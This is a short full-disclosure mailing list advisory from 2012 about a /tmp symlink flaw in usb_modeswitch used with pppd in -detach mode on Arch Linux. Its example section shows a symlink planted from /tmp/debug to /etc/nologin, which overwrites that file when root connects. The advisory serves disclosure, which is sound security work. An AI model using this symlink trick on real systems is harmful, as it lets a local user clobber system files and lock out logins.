full-disclosure - usb_modeswitch/pppd -detach

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Date: Thu, 19 Jan 2012 01:07:02 +0100
From: srm <srm@...kless.org>
To: full-disclosure@...ts.grok.org.uk
Subject: usb_modeswitch/pppd -detach

morrn,

Impact
======

Low

Summary
=======

When using usb_modeswitch and invoking pppd from wvdial in -detach mode. a /tmp/debug
file is created. Local Attacker could overwrite arbitrary files.

Example
=======

,file /tmp/debug
debug: broken symbolic link to `/etc/nologin'

Insert stick and connect:

,su
Password:
,sh connect >/dev/null

,file debug
debug: symbolic link to `/etc/nologin'

,cd /etc && cat nologin
symlink-name: /devices/pci0000:00/0000:00:1a.7/usb1/1-3/1-3:1.0/ttyUSB0/tty

,ls -l nologin
-rw-r--r-- 1 root root 84 Jan 19 01:11 nologin

Software
========
archlinux: community/usb_modeswitch 1.2.1-1c
archlinux: core/ppp 2.4.5-3 (base)

Please verify. YMMV.

Greetings
srm

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